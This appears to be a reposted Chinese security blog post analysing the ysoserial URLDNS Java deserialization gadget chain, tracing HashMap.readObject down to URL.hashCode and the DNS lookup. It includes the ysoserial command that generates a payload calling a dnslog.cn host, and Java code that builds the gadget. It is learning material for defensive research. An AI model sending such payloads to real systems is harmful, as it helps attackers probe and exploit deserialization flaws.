• 如果您觉得本站非常有看点,那么赶紧使用Ctrl+D 收藏吧

【内部投稿】java安全-URLDNS学习

互联网 diligentman 2周前 (10-15) 13次浏览



点击蓝字 ·  关注我们


01


前言


稍微了解了java的反射机制以及一些序列化链经常需要使用的知识后,开始正式的学习yso的POP链。

https://github.com/frohoff/ysoserial

02


利用


java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://elr36h.dnslog.cn" > urldnst.txt

package vulhub;import org.omg.Messaging.SYNC_WITH_TRANSPORT;import java.io.FileInputStream;import java.io.FileNotFoundException;import java.io.IOException;import java.io.ObjectInputStream;public class urldnsTest {    public static void main(String[] args) throws IOException, ClassNotFoundException {        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("/media/reader-l/acd81e20-e8ff-4229-9872-29b7aad6c5a5/hackLearning/javatest/ysoserial/src/main/java/vulhub/urldnst.txt"));        Object o1 = objectInputStream.readObject();        System.out.println(o1);    }}

【内部投稿】java安全-URLDNS学习

03


分析学习


该分析他是怎么发起urldns的请求,注释中的POP链写的挺清楚的,我就跟着分析。

【内部投稿】java安全-URLDNS学习

先跟进HashMap类看看

【内部投稿】java安全-URLDNS学习

我们可以看到该类继承了Serializable序列化/反序列化接口,那直接搜readObject

【内部投稿】java安全-URLDNS学习

可以看到接受的参数类型。

【内部投稿】java安全-URLDNS学习

跟着那个链往下找,我们可以看到对传入的参数值进行反序列化并且赋值给key和value,再将key、value带入putVal方法。其中还用hash方法处理key

【内部投稿】java安全-URLDNS学习

跟进hash方法。如果key是null的话,返回0,否则调用hashCode()进行处理并进行偏移和亦或操作。

【内部投稿】java安全-URLDNS学习

之前到这里我就有点蒙了,再往下跳的时候,直接到了Object.java,并无其他调用了。怎么发出dns请求呢?

【内部投稿】java安全-URLDNS学习

仔细看上面的POP链,发现最后会调用到URL.hashCode()

我们回到URLDNS.java往下审计

可以发现实例化了一个URL类,并跟进put方法,我们可以看到实例化后的URL类是作为key 参数传入put方法。

【内部投稿】java安全-URLDNS学习

【内部投稿】java安全-URLDNS学习

传入的key是实例化的URL类,所以调用的会是URL下的hashCode方法。

【内部投稿】java安全-URLDNS学习

进URL类下的搜索hashCode方法,可以看到只要hashCode参数不等于-1会调用URLStreamHandler下的hashCode

【内部投稿】java安全-URLDNS学习

【内部投稿】java安全-URLDNS学习

进URLStreamHandler下,搜索hashCode方法,看到以下方法的调用,每个方法都跟一下。

【内部投稿】java安全-URLDNS学习

跟进getHostAddress,可以看到会发dns请求

【内部投稿】java安全-URLDNS学习

payload:
package vulhub;
import org.omg.Messaging.SYNC_WITH_TRANSPORT;
import java.io.FileInputStream;import java.io.FileNotFoundException;import java.io.IOException;import java.io.ObjectInputStream;import java.lang.reflect.Field;import java.net.URL;import java.net.URLConnection;import java.net.URLStreamHandler;import java.util.HashMap;
public class urldnsTest { public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {// ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("/media/reader-l/acd81e20-e8ff-4229-9872-29b7aad6c5a5/hackLearning/javatest/ysoserial/src/main/java/vulhub/urldnst.txt"));// Object o1 = objectInputStream.readObject();// System.out.println(o1);

URLStreamHandler handler = new URLStreamHandler() { @Override protected URLConnection openConnection(URL u) throws IOException { return null; } }; HashMap hm = new HashMap(); String url = "http://nmli1e.dnslog.cn"; URL u = new URL(null, url, handler); Class clazz = u.getClass();
Field field = clazz.getDeclaredField("hashCode"); field.setAccessible(true); field.set(u, -1); hm.put(u, url); }}

【内部投稿】java安全-URLDNS学习

yso原作者的Payload也是差不多的思路


【内部投稿】java安全-URLDNS学习

但是多写了一个静态类,其中重写了getHostAddress方法,返回null了,所以你直接调用该payload方法的话,是不会发送dns请求的。

【内部投稿】java安全-URLDNS学习

04


参考链接





https://www.anquanke.com/post/id/201762#h3-6



EDI安全


【内部投稿】java安全-URLDNS学习

扫二维码|关注我们


一个专注渗透实战经验分享的公众号

本文分享自微信公众号 – WhITECat安全团队(WhITECat_007)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。


喜欢 (0)